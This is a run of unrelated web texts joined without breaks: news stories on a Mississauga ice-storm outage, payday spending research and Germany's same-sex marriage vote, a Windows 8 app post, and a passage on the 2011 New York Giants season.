the years. For the past month, he’s been burning wood to keep warm, and it’s been the perfect excuse to clean up the yard. The power to Farmer’s Clarkson bungalow went out on Dec. 22 when a fallen branch took out the wire over his driveway. It was the start of a massive ice storm that left an estimated 750,000 people without power in the city of Toronto alone and the GTA facing public cleanup costs likely to top $100 million. Article Continued Below That doesn’t include private repairs, like the one that has fallen to Farmer. Enersource crews came by several days later and informed him that because the line runs along poles on his property, he’ll have to repair them before he can be reconnected. Since then, Farmer’s been on the phone with his insurance company and waiting for the contractors to arrive. The insurer has said it will pay for a hotel room — an offer his adult son, who lives with him, accepted — but Farmer doesn’t want to abandon the homestead. “I’ve gotta keep the pipes from freezing,” he says, especially during the cold snaps when temperatures have dropped below -20. Each day starts with a newspaper and a Sudoku puzzle in the house — which was a balmy 5C on Friday. In the afternoon, Farmer splits enough wood to get him through the night, and in the evening he sits beside the wood stove in the basement with a battery-powered lantern and a book. He bought the stove in the early ’80s when oil prices were soaring and the government started offering subsidies for people to install wood-burning furnaces in their homes. For five or six years, Farmer heated his home solely with wood. It was during this time that he got handy with an axe. Article Continued Below “When the machine stops, it’s nice to know you can carry on,” he says. Farmer isn’t totally on his own. His 34-year-old son, a ramp worker at Pearson airport, comes by every other day on his way to work to charge up the lantern and his daughter has dropped off a generator, but he doesn’t like to use it because leaving the door open for a power cord lets the heat out. He also admits to going out for fast-food dinners and doing his laundry at a friend’s house. His saving grace has been the gas-powered water heater, which has functioned throughout the ordeal, though he doesn’t take any showers because towelling off in a cold room is unbearable. “I’m back to the Sunday morning bath routine,” he says. “But the most annoying part is trying to squeeze toothpaste out in the cold.” Enersource spokesperson Karen Ras isn’t aware of any other occupied homes still powerless in Mississauga. Crews came by Thursday to put in two fresh wooden poles beside Farmer’s driveway. If all goes well, he could have power flowing early next week. When that happens, he says, the first thing he’ll do is give the house a good vacuum. But at this point, he’s hardly in a hurry. Farmer has taken the same Zen-like attitude to his predicament as he does to chopping wood. “I developed a tai chi technique,” he says, letting the weight of the axe head do the work. “You just have to get a little speed on it.” Read more about:Money, it turns out, doesn’t necessarily burn a hole in our pockets. Researchers have found that, on the day Americans get paid, they’re little more likely to spend that cash than on any other day of the week—at least if it’s on items like food and coffee. The finding suggests that tax rebates and other cash infusions may not boost the economy, as most people would probably save the windfall for a rainy day. Researchers disagree about what people do with extra cash, says economist Matthew Shapiro of the University of Michigan, Ann Arbor. “If the standard economic theory is right,” he says, “most individuals will save almost all of a payment.” Some studies suggest, however, that people are not this rational, but obtaining data is not easy. So Shapiro and colleagues turned to a computer and cellphone program called Check that lets users record all the money they spend. For 300 days, the researchers tracked a random sample of about 23,000 anonymous U.S.-based users who received regular payroll or Social Security payments. At first glance, the data suggested that people spend money as soon as they get it. Individuals shelled out about 70% more than average on the day a payment arrived, and they continued to spend significantly elevated amounts for the next few days. However, this spending surge could simply mean that the users had timed regular payments like rent and tuition to their paychecks. When the team removed recurring identical payments from the analysis, it found a much lower, but still significant, postpayment peak, with people spending about 40% more after income arrived. The researchers say that even this amount could have been an overestimate, as they might have missed some recurring payments like metered utility bills that can vary from month to month. So Shapiro and colleagues picked out a single type of spending that’s easily influenced by the perception of disposable income: cash shelled out for fast food and coffee. Here, most people's spending barely increased after a payment, the team reports online today in Science. Still, not everyone followed this pattern. Individuals with less cash in their bank accounts increased their spending more after receiving a payment than did folks with more money in the bank. Sometimes, these people simply received less money, leaving them less able to build up reserves. Other people were simply more carefree with their money and therefore tended to spend it as soon as they got it. “Surprisingly, there are a lot of well-to-do individuals who run their credit balances up to the limit and live paycheck to paycheck—even if it’s a large paycheck,” Shapiro says. The finding could help governments better stimulate the economy. If they could find ways to target tax rebates to people who have little cash in reserve, for example, the payments might stimulate spending more effectively, Shapiro says. Jonathan Parker, an economist at the Massachusetts Institute of Technology in Cambridge, is impressed by the researchers’ innovative use of a novel data source. “By using administrative data,” he says, “they're able to get much more precise measurements than surveys generally provide, and a much larger sample of individuals.” Still, the volunteers are not perfectly representative of the U.S. population, he notes. For example, the researchers openly acknowledge that men use Check more than women do and are thus presumably overrepresented in their sample. The effects of this disparity are unclear, but if women were better, on average, at managing their finances than men are, it would distort the findings.Story highlights German lawmakers will vote on same-sex marriage this week Chancellor Angela Merkel said Monday she would like to see "vote of conscience" on the issue Germany lags behind many other countries on gay rights (CNN) German lawmakers will decide Friday whether to legalize same-sex marriage, according to CNN affiliate NTV. The snap vote comes after Chancellor Angela Merkel said Monday that she would like to see parliament move towards a "vote of conscience" on the issue. Following Merkel's comments, German politicians writing on Twitter called for a vote to be held as soon as possible. Martin Schulz, leader of the Social Democratic Party (SPD) -- the second largest party in parliament -- called for parliament not to wait until after the federal election in September. "We will push through marriage equality in Germany," he tweeted. "This week." Wir werden die Ehe für alle beschließen. Diese Woche. — Martin Schulz (@MartinSchulz) June 27, 2017 The vote is likely to pass with strong support from other German parties and from some lawmakers within Merkel's CDU. Volker Kauder, leader of the parliamentary group of the ruling CDU faction, called Tuesday for CDU members voting for and against the law to show respect for each other's position, according to NTV. But he also warned that such a sudden vote could lead to a "hasty decision." Merkel's comments on Monday represent a shift for the German leader and her conservative party, the Christian Democratic Union (CDU), which has opposed same-sex marriage to keep in line with "traditional" family values. The Chancellor made the comments in response to a question Monday evening at an event in Berlin hosted by women's magazine Brigitte. Asked by a gay man in the audience whether he would be able to refer to his partner as "my husband," Merkel acknowledged the widespread support for gay marriage among German voters -- who will vote soon in federal elections -- and suggested a free vote on same-sex marriage could be held among members of parliament. Read MoreHave you been paying attention to the Store these days? It seems like the submission rate is increasing day by day (as expected) and there may be Well above 500 apps right now and the OS has not even fully launched yet.Yes, most are low quality technical demo type of apps from unknown developers and some are desktop apps links but anyways, 2/3 of the Apps on iOS apps store have never been downloaded, and better yet, there are some very cool apps in the Store already, example Tuba. Still pending to see most "must have" like Google specific services, official facebook, tweeter, etc... I also expect to see much more web based apps like Pulse launching as well, but at this rate, Windows 8 may be having more tablet apps at launch than the few thousands Android has. Apps make or break a platform, expert say, and if this is right, this is a very important milestone towards defeating Android as a desirable tablet OS, not only that but also apps like Tweetro are better IMHO than equivalent tweeter clients on Android at the moment. This "Content first" paradigm is really what sets the Windows 8 experience apart form the competition, I wish apps like Windows Phone "Metro Tube" (from the makers of Tweetro) come to the market by Oct. 26. Before any Android fan gets offended, yes, I know (by hard) that all Android apps can run on tablets, I have an Android tablet and the only use I'm giving it for now is occasional web browsing and play some games, I do my social media and productivity on Windows 8
offseason the Giants signed some road free agents and former members of their 2010 practice squad to reserve/future contracts in order to bolster the roster for the 2011 season. In early March the team signed potential free agents to contract extensions: on March 2 the team signed running back D.J. Ware to a two-year extension and on March 3 they signed wide receivers Domenik Hixon and Darius Reynaud to one and two-year extensions, respectively. They also offered tenders to some of their restricted free agents but the effectiveness of these tenders rely on the ongoing CBA talks. Free agents [ edit ] Roster [ edit ] Staff [ edit ] Staff changes [ edit ] On March 9, 2011 the assistant special teams Thomas McGaughey accepted a job with Louisiana State University as special teams/defensive line coach of their football team. He had been with the Giants since 2007. On June 24, 2011 it was reported that Larry Izzo would become the Giants' new assistant special teams coach once the NFL Lockout had ceased.[10] Schedule [ edit ] Preseason [ edit ] The Giants' preseason schedule was announced on April 12, 2011. § – Due to Hurricane Irene, the Week 3 preseason game against the Jets was moved up to 2:00 p.m. from the originally scheduled time of 7:00 p.m. (EDT). Then, later in the evening of August 26, the game was rescheduled to Monday, August 29 at 7:00 p.m. EDT[11] Regular season [ edit ] Regular season results [ edit ] Week 1: at Washington Redskins [ edit ] The Giants opened the 2011 season where they had finished the 2010 season, on the road at FedExField against their division rival Washington Redskins to mark the tenth anniversary of September 11, 2001; both teams' cities were attacked by the terrorists that day.[13] New York had not lost to Washington in the regular season in their last six meetings, but fell in this meeting 28–14. After scoring two first-quarter touchdowns and taking a 14–7 lead, the Giants failed to score again. A Ryan Kerrigan interception return in the third quarter put the Redskins in front and they added an insurance score in the fourth quarter when Rex Grossman found Jabar Gaffney in the end zone. Grossman threw for 305 yards and two touchdowns, while Eli Manning threw for 268 with the one interception. Week 2: vs. St. Louis Rams [ edit ] The Giants' home opener was played on Monday night and they took a 28–16 victory over the NFC West runners-up from the previous year. The Rams, coached by former Giants defensive coordinator Steve Spagnuolo, took an early lead on a Josh Brown field goal, but that would be their only lead as Eli Manning hit Hakeem Nicks and Domenik Hixon for touchdowns. A Michael Boley fumble return added to that and gave New York a 21–6 lead at the half. St. Louis' only touchdown came in the third quarter as Bradford found Alexander to cut the Giants' lead to 28–16, where the game finished. Manning finished with 200 yards passing and threw his first two touchdown passes of the season while Bradford threw for 331 and one score. After the game, it was announced that Hixon would be lost for the year with a torn ACL. Week 3: at Philadelphia Eagles [ edit ] Week Three: New York Giants at Philadelphia Eagles – Game summary 1 2 3 4 Total Giants 14 0 0 15 29 Eagles 0 13 3 0 16 at Lincoln Financial Field, Philadelphia, Pennsylvania Date : September 25 : September 25 Game time : 1:00 p.m. EDT : 1:00 p.m. EDT Game weather : 76 °F (24 °C), Cloudy : 76 °F (24 °C), Cloudy Game attendance : 69,144 : 69,144 Referee : Jeff Triplette : Jeff Triplette TV announcers (Fox): Kenny Albert, Daryl Johnston and Tony Siragusa Game information First quarter NYG Jacobs 40-yard pass from Manning (Tynes kick) (6–73, 2:43) NYG Cruz 74-yard pass from Manning (Tynes kick) (3–82, 1:26) Second quarter PHI Alex Henery 21-yard FG (15–77, 8:02) PHI McCoy 11-yard run (Henery kick) (7–71, 3:21) PHI Henery 38-yard FG (5–26, 1:12) Third quarter PHI Henery 21-yard FG (14–88, 8:52) Fourth quarter NYG Cruz 28-yard pass from Manning (Jacobs run) (7–54, 3:30) NYG Bradshaw 18-yard pass from Manning (Tynes kick) (10–56, 4:28) Top passers NYG – Eli Manning – 16/23, 254 YDS, 4 TD PHI – Michael Vick – 16/23, 176 YDS, INT Top rushers NYG – Ahmad Bradshaw – 15 CAR, 86 YDS PHI – LeSean McCoy – 24 CAR, 128 YDS, TD Top receivers NYG – Victor Cruz – 3 REC, 110 YDS, 2 TD PHI – Jeremy Maclin – 5 REC, 69 YDS Top tacklers NYG – Jason Pierre-Paul – 7 TKL, 2 AST, 2 SK PHI – Trent Cole – 4 TKL, AST, SK Taking to the road to face another divisional rival, the Giants took care of the Eagles in Philadelphia for the first time since 2008 after having lost the previous five meetings. It was the teams' first meeting since the infamous finish to their second matchup in 2010 which saw DeSean Jackson return a punt for a touchdown as time expired. Giants receiver Victor Cruz had what some thought was his breakthrough game, as he caught three passes from Eli Manning and took two for scores including a 74-yarder early in the game. Manning threw for four touchdowns in the game and 254 yards. Jason Pierre-Paul added two sacks and Ahmad Bradshaw ran for 86 yards. Michael Vick threw for 176 yards and an interception while LeSean McCoy led all rushers with 128 yards and the Eagles' only touchdown. Week 4: at Arizona Cardinals [ edit ] Week Four: New York Giants at Arizona Cardinals – Game summary 1 2 3 4 Total Giants 0 10 0 21 31 Cardinals 3 3 14 7 27 at University of Phoenix Stadium, Glendale, Arizona Date : October 2 : October 2 Game time : 4:05 p.m. EDT/1:05 p.m. Arizona Time : 4:05 p.m. EDT/1:05 p.m. Arizona Time Game weather : Played indoors (retractable roof closed) : Played indoors (retractable roof closed) Game attendance : 60,496 : 60,496 Referee : Jerome Boger : Jerome Boger TV announcers (Fox): Kenny Albert, Daryl Johnston and Tony Siragusa Game information First quarter ARI Jay Feely 27-yard FG (4–7, 1:35) Second quarter ARI Feely 27-yard FG (16–79, 9:20) NYG Bradshaw 13-yard run (Tynes kick) (10–69, 5:03) NYG Tynes 30-yard FG (5:61, 0:28) Third quarter ARI Wells 1-yard run (Feely kick) (8–78, 4:36) ARI Wells 1-yard run (Feely kick) (2–5, 0:40) Fourth quarter NYG Jacobs 1-yard run (Tynes kick) (13–75, 5:48) ARI Wells 2-yard run (Feely kick) (6–77, 3:09) NYG Ballard 2-yard pass from Manning (Tynes kick) (7–80, 1:39) NYG Nicks 28-yard pass from Manning (Tynes kick) (2–48, 0:31) Top passers NYG – Eli Manning – 27/40, 321 YDS, 2 TD ARI – Kevin Kolb – 20/34, 237 YDS, INT Top rushers NYG – Ahmad Bradshaw – 12 CAR, 39 YDS, TD ARI – Beanie Wells – 27 CAR, 138 YDS, 3 TD Top receivers NYG – Hakeem Nicks – 10 REC, 162 YDS, TD ARI – Larry Fitzgerald – 8 REC, 102 YDS Top tacklers NYG – Michael Boley – 5 TKL, 2 AST ARI – Patrick Peterson – 7 TKL After trailing the Cardinals for most of the game, the Giants scored two touchdowns in the final 100 seconds of the game for their first come from behind victory of the year. Arizona led 20–10 entering the fourth on the strength of two Beanie Wells rushing touchdowns and two Jay Feely field goals. The Giants were aided by a controversial play on their final drive when Victor Cruz appeared to fumble the ball without being tackled. However, upon review it was determined that he had willfully given himself up before he fumbled and as such, he was considered to be down. Eli Manning threw for 321 yards and 2 touchdowns, with 162 of those yards recorded by Hakeem Nicks. Wells rushed for 138 and three scores while Larry Fitzgerald caught eight of Kevin Kolb's passes for 102 yards. Week 5: vs. Seattle Seahawks [ edit ] Week Five: Seattle Seahawks at New York Giants – Game summary 1 2 3 4 Total Seahawks 14 0 2 20 36 Giants 7 7 0 11 25 at MetLife Stadium, East Rutherford, New Jersey Date : October 9 : October 9 Game time : 1:00 p.m. EDT : 1:00 p.m. EDT Game weather : 81 °F (27 °C), Sunny : 81 °F (27 °C), Sunny Game attendance : 78,650 : 78,650 Referee : Ed Hochuli : Ed Hochuli TV announcers (Fox): Thom Brennaman, Troy Aikman and Pam Oliver Game information First quarter SEA Ben Obomanu 11-yard pass from Jackson (Steven Hauschka kick) (8–80, 2:32) NYG Ballard 12-yard pass from Manning (Tynes kick) (7–80, 3:20) SEA Lynch 1-yard run (Hauschka kick) (2–48, 0:17) Second quarter NYG Nicks 19-yard pass from Manning (Tynes kick) (4–59, 0:40) Third quarter SEA Anthony Hargrove tackled Ware in end zone for a Safety Fourth quarter SEA Hauschka 51-yard FG (9–33, 2:45) NYG Cruz 68-yard pass from Manning (Bradshaw run) (3–65, 1:51) SEA Hauschka 43-yard FG (4–0, 0:24) NYG Tynes 26-yard FG (10–72, 5:26) SEA Baldwin 27-yard pass from Charlie Whitehurst (Hauschka kick) (7–80, 2:12) SEA Brandon Browner 94-yard interception return (Hauschka kick) Top passers SEA – Tarvaris Jackson – 15/22, 166 YDS, TD, INT NYG – Eli Manning – 24/39, 420 YDS, 3 TD, 3 INT Top rushers SEA – Marshawn Lynch – 12 CAR, 98 YDS, TD NYG – Ahmad Bradshaw – 17 CAR, 58 YDS Top receivers SEA – Doug Baldwin – 8 REC, 136 YDS, TD NYG – Victor Cruz – 8 REC, 161 YDS, TD Top tacklers SEA – Leroy Hill – 5 TKL, 3 AST NYG – Jacquian Williams – 7 TKL, AST The Giants could not contain their momentum from the previous week's comeback and lost a mistaken-laden game to the Seahawks. Despite Eli Manning throwing three touchdowns and for over 400 yards, his three interceptions proved costly. While the Giants were in the red zone to win the game, Victor Cruz slipped on a pass from Manning, and the pass was intercepted by Brandon Browner, who returned it for a Seahawks touchdown, ending the game. This and a Doug Baldwin touchdown pass from Charlie Whitehurst came following the Giants taking a 25–22 lead on a Lawrence Tynes field goal. Whitehurst finished the game for an injured Tarvaris Jackson, who finished 15 for 22 for 166 yards. Baldwin and Victor Cruz tied for the game lead with receptions with eight and both recorded a touchdown. Cruz's, however was regarded as a play-of-the-year candidate as he caught the ball off his own deflection and ran it 68 yards to give the Giants a 22–19 lead in the fourth. Marshawn Lynch led all rushers with 98 yards and a touchdown while Cruz recorded 161 receiving yards. Week 6: vs. Buffalo Bills [ edit ] Week Six: Buffalo Bills at New York Giants – Game summary 1 2 3 4 Total Bills 14 3 0 7 24 Giants 7 10 7 3 27 at MetLife Stadium, East Rutherford, New Jersey Date : October 16 : October 16 Game time : 1:00 p.m. EDT : 1:00 p.m. EDT Game weather : 65 °F (18 °C), Sunny : 65 °F (18 °C), Sunny Game attendance : 79,243 : 79,243 Referee : Clete Blakeman : Clete Blakeman TV announcers (CBS): Jim Nantz and Phil Simms Game information First quarter NYG Bradshaw 1-yard run (Tynes kick) (9–69, 4:02) BUF Jackson 80-yard run (Rian Lindell kick) (1–80, 0:14) BUF Naaman Roosevelt 60-yard pass from Fitzpatrick (Lindell kick) (6–78, 2:49) Second quarter NYG Tynes 26-yard FG (13–84, 5:33) NYG Bradshaw 1-yard run (Tynes kick) (5–89, 2:30) BUF Lindell 49-yard FG (6–49, 2:19) Third quarter NYG Bradshaw 1-yard run (Tynes kick) (10–75, 5:07) Fourth quarter BUF Steve Johnson 9-yard pass from Fitzpatrick (Lindell kick) (12–60, 7:02) NYG Tynes 23-yard FG (9–76, 2:30) Top passers BUF – Ryan Fitzpatrick – 21/30, 244 YDS, 2 TD, 2 INT NYG – Eli Manning – 21/32, 292 YDS Top rushers BUF – Fred Jackson – 16 CAR, 121 YDS, TD NYG – Ahmad Bradshaw – 26 CAR, 104 YDS, 3 TD Top receivers BUF – David Nelson – 4 REC, 62 YDS NYG – Hakeem Nicks – 4 REC, 96 YDS Top tacklers BUF – Terrence McGee – 11 TKL NYG – Michael Boley – 7 TKL, AST The Buffalo Bills surprised the NFL world when they opened up to a 4–1 record. The Giants were 3–2 and many expected them to lose, but the Giants bounced back from their loss to the Seahawks by recording another last-minute win, beating the Bills 27–24 on a Lawrence Tynes field goal. Buffalo took an early 14–7 lead on two big offensive plays, an 80-yard run by Fred Jackson and a 60-yard pass from Ryan Fitzpatrick to Naaman Roosevelt. Ahmad Bradshaw recorded three one-yard touchdown runs and recorded his first 100-yard game of the year while Jackson rushed for 121. Hakeem Nicks led all receivers in yards with 96 and Eli Manning threw for 292 yards with no touchdowns. Fitzpatrick recorded two passing touchdowns but also threw two interceptions. Week 8: vs. Miami Dolphins [ edit ] Week Eight: Miami Dolphins at New York Giants – Game summary 1 2 3 4 Total Dolphins 7 7 3 0 17 Giants 3 7 0 10 20 at MetLife Stadium, East Rutherford, New Jersey Date : October 30 : October 30 Game time : 1:00 p.m. EDT : 1:00 p.m. EDT Game weather : 41 °F (5 °C), Sunny : 41 °F (5 °C), Sunny Game attendance : 79,302 : 79,302 Referee : Ron Winter : Ron Winter TV announcers (CBS): Greg Gumbel and Dan Dierdorf Game information First quarter MIA Steve Slaton 1-yard run (Dan Carpenter kick) (10–66, 5:56) NYG Tynes 25-yard FG (7–56, 3:53) Second quarter MIA Moore 1-yard run (Carpenter kick) (12–90, 5:40) NYG Manningham 7-yard pass from Manning (Tynes kick) (13–84, 4:01) Third quarter MIA Carpenter 40-yard FG (7–58, 2:43) Fourth quarter NYG Tynes 29-yard FG (12–78, 7:08) NYG Cruz 25-yard pass from Manning (Tynes kick) (6–53, 2:30) Top passers MIA – Matt Moore – 13/22, 138 YDS, INT NYG – Eli Manning – 31/45, 349 YDS, 2 TD Top rushers MIA – Reggie Bush – 15 CAR, 103 YDS NYG – Ahmad Bradshaw – 13 CAR, 50 YDS Top receivers MIA – Brandon Marshall – 4 REC, 55 YDS NYG – Victor Cruz – 7 REC, 99 YDS, TD Top tacklers MIA – Kevin Burnett – 7 TKL, 3 AST NYG – Mathias Kiwanuka – 5 TKL, 2 AST, 1.5 SK The Giants again found themselves trailing the winless Dolphins entering the fourth quarter. New York was down 17–10 behind two rushing touchdowns, one by wildcat quarterback Steve Slaton and the other by starter Matt Moore, and a Dan Carpenter field goal. Lawrence Tynes recorded a field goal of his own while Eli Manning threw a touchdown to Mario Manningham in the second quarter. After Tynes recorded his second field goal in the fourth, Manning found Victor Cruz for a 25-yard touchdown with 2:30 left to give the Giants the victory. Cruz recorded 99 yards on seven receptions while Manning threw for 349 yards and two touchdowns. Reggie Bush led all runners with 103 yards and Moore threw for 138 and an interception. Week 9: at New England Patriots [ edit ] Week Nine: New York Giants at New England Patriots – Game summary 1 2 3 4 Total Giants 0 0 10 14 24 Patriots 0 0 3 17 20 at Gillette Stadium, Foxborough, Massachusetts Date : November 6 : November 6 Game time : 4:15 p.m. EST : 4:15 p.m. EST Game weather : 54 °F (12 °C), Sunny : 54 °F (12 °C), Sunny Game attendance : 68,756 : 68,756 Referee : Pete Morelli : Pete Morelli TV announcers (Fox): Joe Buck, Troy Aikman, and Pam Oliver Game information Third quarter NYG Tynes 22-yard FG (7–57, 3:29) NYG Jacobs 10-yard run (Tynes kick) (1–10, 0:05) NE Stephen Gostkowski 32-yard FG (7–19, 2:50) Fourth quarter NE Aaron Hernandez 5-yard pass from Brady (Gostkowski kick) (7:80, 2:41) NE Gostkowski 45-yard FG (9–53, 3:55) NYG Manningham 10-yard pass from Manning (Tynes kick) (8–85, 4:05) NE Rob Gronkowski 14-yard pass from Brady (Gostkowski kick) (9–64, 1:27) NYG Ballard 1-yard pass from Manning (Tynes kick) (8–80, 1:21) Top passers NYG – Eli Manning – 20/39, 250 YDS, 2 TD, INT NE – Tom Brady – 28/49, 342 YDS, 2 TD, 2 INT Top rushers NYG – Brandon Jacobs – 18 CAR, 72 YDS, TD NE – BenJarvus Green-Ellis – 12 CAR, 52 YDS Top receivers NYG – Victor Cruz – 6 REC, 91 YDS NE – Wes Welker – 9 REC, 136 YDS Top tacklers NYG – Mathias Kiwanuka – 6 TKL, 6 AST, INT NE – Rob Ninkovich – 4 TKL, 3 AST In the rematch of Super Bowl XLII, Tom Brady was picked off two times in this game. With the ball at the New York 29, Brady's pass was tipped by Michael Boley and intercepted by Mathias Kiwanuka, who returned it to the Giants 28, for Brady's 2nd pick of the game. However, the next possession had the Patriots drive down to the Giants 12. Stephen Gostowski's 27-yard field goal went slight left, making this the first time the Patriots had no score at halftime since December 10, 2006. In this game, turnovers marred both teams. First, Lawrence Tynes kicked a 22-yard field goal that put them on 3–0. Then Brandon Jacobs ran it in 10 yards to put the Giants up 10–0. After that, Aaron Ross muffed the punt, giving the Patriots the ball at the Giants 33. However, they could only muster a 32-yard field goal. Devin Thomas muffed his punt, but scooped it up. Then, Julian Edelman fumbled the punt in Giants territory. Driving in the red zone, Manning got picked off by Kyle Arrington in the end zone. Seven plays later, Brady hit Aaron Hernandez for a 5-yard touchdown, tying the game at 10 just 32 seconds into the fourth quarter. With 7:08, Gostkowski's 45-yard field goal gave the Pats their first lead of the game, 13–10. Manning then led the Giants on an 85-yard march to a 10-yard touchdown pass to Mario Manningham with 3:03 remaining, putting the Giants on top 17–13. It looked like the Pats would win with a comeback of their own when Tom Brady threw a 14-yard pass to Rob Gronkowski, making it 20–17 with 1:36 to go. However, leading the New York Giants 80 yards in just over a minute, Manning hit Jake Ballard for a 1-yard touchdown with 15 seconds left for a 24–20 win on Sunday, repeating a come-from-behind victory similar to the 2008 title game between the teams. They were helped by a 20-yard pass interference penalty against safety Sergio Brown of the Patriots (5–3) that put the ball at the 1 with 30 seconds left. The Giants shocked the NFL and opened up to a 6–2 record. Eli Manning was praised by critics for his recent comeback victories. This was the first time the Patriots lost at home with Tom Brady as their quarterback in 31 regular season starts, and it was also the first Patriots loss at home where they had a 4th quarter lead in the Tom Brady era. Week 10: at San Francisco 49ers [ edit ] Week Ten: New York Giants at San Francisco 49ers – Game summary 1 2 3 4 Total Giants 3 3 7 7 20 49ers 3 6 3 15 27 at Candlestick Park, San Francisco, California Date : November 13 : November 13 Game time : 4:15 p.m. EST/1:15 p.m. PST : 4:15 p.m. EST/1:15 p.m. PST Game weather : 58 °F (14 °C), Sunny : 58 °F (14 °C), Sunny Game attendance : 69,732 : 69,732 Referee : Tony Corrente : Tony Corrente TV announcers (Fox): Joe Buck, Troy Aikman and Pam Oliver Game information First quarter NYG Tynes 23-yard FG (14–75, 8:33) SF David Akers 36-yard FG (12–62, 6:02) Second quarter NYG Tynes 25-yard FG (13–73, 6:20) SF Akers 52-yard FG (6–46, 4:05) SF Akers 39-yard FG (7–32, 3:11) Third quarter SF Akers 28-yard FG (10–70, 3:46) NYG Manningham 13-yard pass from Manning (Tynes kick) (10–84, 5:38) Fourth quarter SF Vernon Davis 31-yard pass from Smith (Smith pass to Michael Crabtree) (4–50, 1:59) SF Hunter 17-yard run (Akers kick) (1–17, 0:05) NYG Nicks 32-yard pass from Manning (Tynes kick) (7–80, 3:44) Top passers NYG – Eli Manning – 26/40, 311 YDS, 2 TD, 2 INT SF – Alex Smith – 19/30, 242 YDS, TD, INT Top rushers NYG – Brandon Jacobs – 18 CAR, 55 YDS SF – Kendall Hunter – 6 CAR, 40 YDS, TD Top receivers NYG – Victor Cruz – 6 REC, 84 YDS SF – Delanie Walker – 6 REC, 69 YDS Top tacklers NYG – Kenny Phillips/Antrel Rolle – 4 TKL, AST each SF – NaVorro Bowman – 10 TKL, 4 AST The Giants' winning streak came to an end in San Francisco but they once again had the game in doubt into the final minutes. Field goals comprised the first half scoring, with Lawrence Tynes hitting two and the 49ers' David Akers recording three. The Giants took their only lead in the third quarter as Eli Manning found Mario Manningham for 13 yards to complete an 84-yard drive. The 49ers recorded two touchdowns on a pass to Vernon Davis and a run by Kendall Hunter, while Manning hit Hakeem Nicks for a 32-yard touchdown late in the game. New York received the ball late in the game and drove inside the 49ers' red zone, but Manning's last pass was deflected at the line of scrimmage to preserve the San Francisco win. Manning threw for 311 yards and two touchdowns but also recorded two interceptions, while Alex Smith threw for 242 and the touchdown pass to Davis. Brandon Jacobs rushed for 55 yards to lead the runners while Victor Cruz's 84 yards was tops for the receivers. Week 11: vs. Philadelphia Eagles [ edit ] Week Eleven: Philadelphia Eagles at New York Giants – Game summary 1 2 3 4 Total Eagles 0 10 0 7 17 Giants 0 3 0 7 10 at MetLife Stadium, East Rutherford, New Jersey Date : November 20 : November 20 Game time : 8:20 p.m. EST : 8:20 p.m. EST Game weather : 58 °F (14 °C), Partly Cloudy : 58 °F (14 °C), Partly Cloudy Game attendance : 79,743 : 79,743 Referee : Mike Carey : Mike Carey TV announcers (NBC): Al Michaels, Cris Collinsworth and Michele Tafoya Game information Second quarter PHI Alex Henery 33-yard FG (9–56, 3:29) PHI Steve Smith 14-yard pass from Young (Henery kick) (1–14, 0:08) NYG Tynes 48-yard FG (8–50, 1:22) Fourth quarter NYG Cruz 24-yard pass from Manning (Tynes kick) (5–73, 1:41) PHI Riley Cooper 8-yard pass from Young (Henery kick) (18–80, 8:51) Top passers PHI – Vince Young – 23/36, 258 YDS, 2 TD, 3 INT NYG – Eli Manning – 18/35, 264 YDS, TD, INT Top rushers PHI – LeSean McCoy – 23 CAR, 113 YDS NYG – Brandon Jacobs – 12 CAR, 21 YDS Top receivers PHI – DeSean Jackson – 6 REC, 88 YDS NYG – Victor Cruz – 6 REC, 128 YDS, TD Top tacklers PHI – Jamar Chaney – 4 TKL, 2 AST NYG – Mathias Kiwanuka – 6 TKL, AST Playing on Sunday night for the first time all season, the Giants could not take advantage of three Vince Young interceptions and fumbled on their final drive, allowing the Eagles to salvage a split in the season series. New York fell behind 10–0 on an Alex Henery field goal and a touchdown pass from Young to former Giant Steve Smith. Trailing 10–3 entering the fourth, Eli Manning sought out Victor Cruz who caught a pass for 24 yards and the tying touchdown. However, they allowed Young to put together an 18-play drive finishing with a Riley Cooper touchdown pass. The Giants got the ball and Manning completed a pass to Cruz for 47 yards. The next play, Manning was stripped of the ball, sealing the Eagles victory. Despite his three interceptions Young threw for 258 yards in his relief effort for the injured Michael Vick. Manning threw for 264 yards, 128 of which went to Cruz. LeSean McCoy again rushed for 100 yards, recording 113 on 23 carries. Week 12: at New Orleans Saints [ edit ] The week 12 Monday night matchup with the Saints in New Orleans was perhaps the lowest point of the Giants' season. New York fell behind 21–3 at halftime and New Orleans cruised to a huge victory. Eli Manning threw for 406 yards and two touchdowns, both to Victor Cruz, but by that time the game had long been decided. Drew Brees recorded 363 yards and 4 touchdowns, two of which were recorded by Jimmy Graham, and rookie halfback Mark Ingram picked up 80 yards on the ground and scored the game's final touchdown on a 35-yard run. The 49 points were the Giants' most given up to that point in the season. Week 13: vs. Green Bay Packers [ edit ] Week Thirteen: Green Bay Packers at New York Giants – Game summary 1 2 3 4 Total Packers 7 14 7 10 38 Giants 10 7 7 11 35 at MetLife Stadium, East Rutherford, New Jersey Date : December 4 : December 4 Game time : 4:15 p.m. EST : 4:15 p.m. EST Game weather : 52 °F (11 °C), Fair : 52 °F (11 °C), Fair Game attendance : 80,634 : 80,634 Referee : Jeff Triplette : Jeff Triplette TV announcers (Fox): Joe Buck, Troy Aikman and Pam Oliver Game information First quarter NYG Beckum 67-yard pass from Manning (Tynes kick) (3–79, 1:36) GB Jermichael Finley 12-yard pass from Rodgers (Mason Crosby kick) (6–64, 2:56) NYG Tynes 38-yard FG (6–51, 3:06) Second quarter GB Clay Matthews III 38-yard interception return (Crosby kick) NYG Jacobs 1-yard run (Tynes kick) (2–12, 0:36) GB Donald Driver 13-yard pass from Rodgers (Crosby kick) (11–80, 5:34) Third quarter GB Jennings 20-yard pass from Rodgers (Crosby kick) (10–80, 5:10) NYG Nicks 4-yard pass from Manning (Tynes kick) (5–71, 3:20) Fourth quarter NYG Tynes 50-yard FG (14–68, 6:29) GB Driver 7-yard pass from Rodgers (Crosby kick) (8–57, 3:34) NYG Nicks 2-yard pass from Manning (Ware run) (9–69, 2:36) GB Crosby 30-yard FG (5–68, 0:58) Top passers GB – Aaron Rodgers – 28/46, 369 YDS, 4 TD, INT NYG – Eli Manning – 23/40, 347 YDS, 3 TD, INT Top rushers GB – Aaron Rodgers – 4 CAR, 32 YDS NYG – Brandon Jacobs – 8 CAR, 59 YDS, TD Top receivers GB – Greg Jennings – 7 REC, 94 YDS, TD NYG – Victor Cruz – 7 REC, 119 YDS Top tacklers GB – Charlie Peprah – 6 TKL, 3 AST NYG – Linval Joseph – 9 TKL Looking to snap their losing streak, the Giants took on the undefeated Packers at home following their blowout loss in New Orleans. New York rebounded from their poor offensive effort against the Saints by putting up 35 points on the defending Super Bowl Champions and had 